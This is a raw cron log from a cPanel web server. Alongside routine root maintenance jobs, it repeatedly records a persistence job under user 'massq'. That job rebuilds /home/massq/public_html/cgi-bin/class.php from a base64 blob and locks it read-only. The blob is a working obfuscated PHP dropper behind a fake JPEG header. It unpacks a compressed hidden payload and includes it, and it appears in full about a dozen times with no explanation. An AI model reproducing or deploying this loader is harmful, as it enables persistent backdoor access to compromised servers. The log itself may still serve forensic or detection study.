Sep  9 23:26:01 server CROND[27565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:26:01 server CROND[27566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:27:01 server CROND[27944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:27:01 server CROND[27947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:27:01 server CROND[27946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:27:01 server CROND[27945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:28:01 server CROND[28413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:28:01 server CROND[28414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:28:01 server CROND[28415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:29:01 server CROND[28782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:29:01 server CROND[28783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:29:01 server CROND[28784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:30:01 server CROND[29156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:30:01 server CROND[29157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:30:01 server CROND[29159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:30:01 server CROND[29160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:30:01 server CROND[29165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:30:01 server CROND[29163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:30:01 server CROND[29161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:30:01 server CROND[29162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:31:01 server CROND[29979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:31:01 server CROND[29980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:31:01 server CROND[29981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:32:01 server CROND[30352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:32:01 server CROND[30353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:32:01 server CROND[30354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:33:01 server CROND[30784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:33:01 server CROND[30783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:33:01 server CROND[30785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:34:01 server CROND[31181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:34:01 server CROND[31182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:34:01 server CROND[31184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:35:01 server CROND[31557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:35:01 server CROND[31558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:35:01 server CROND[31563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:35:01 server CROND[31567]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:35:01 server CROND[31569]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 23:35:01 server CROND[31566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:35:01 server CROND[31568]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:35:01 server CROND[31570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:35:01 server CROND[31572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:36:01 server CROND[32434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:36:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:36:01 server CROND[32436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:37:01 server CROND[355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:37:01 server CROND[356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:37:01 server CROND[357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:38:01 server CROND[762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
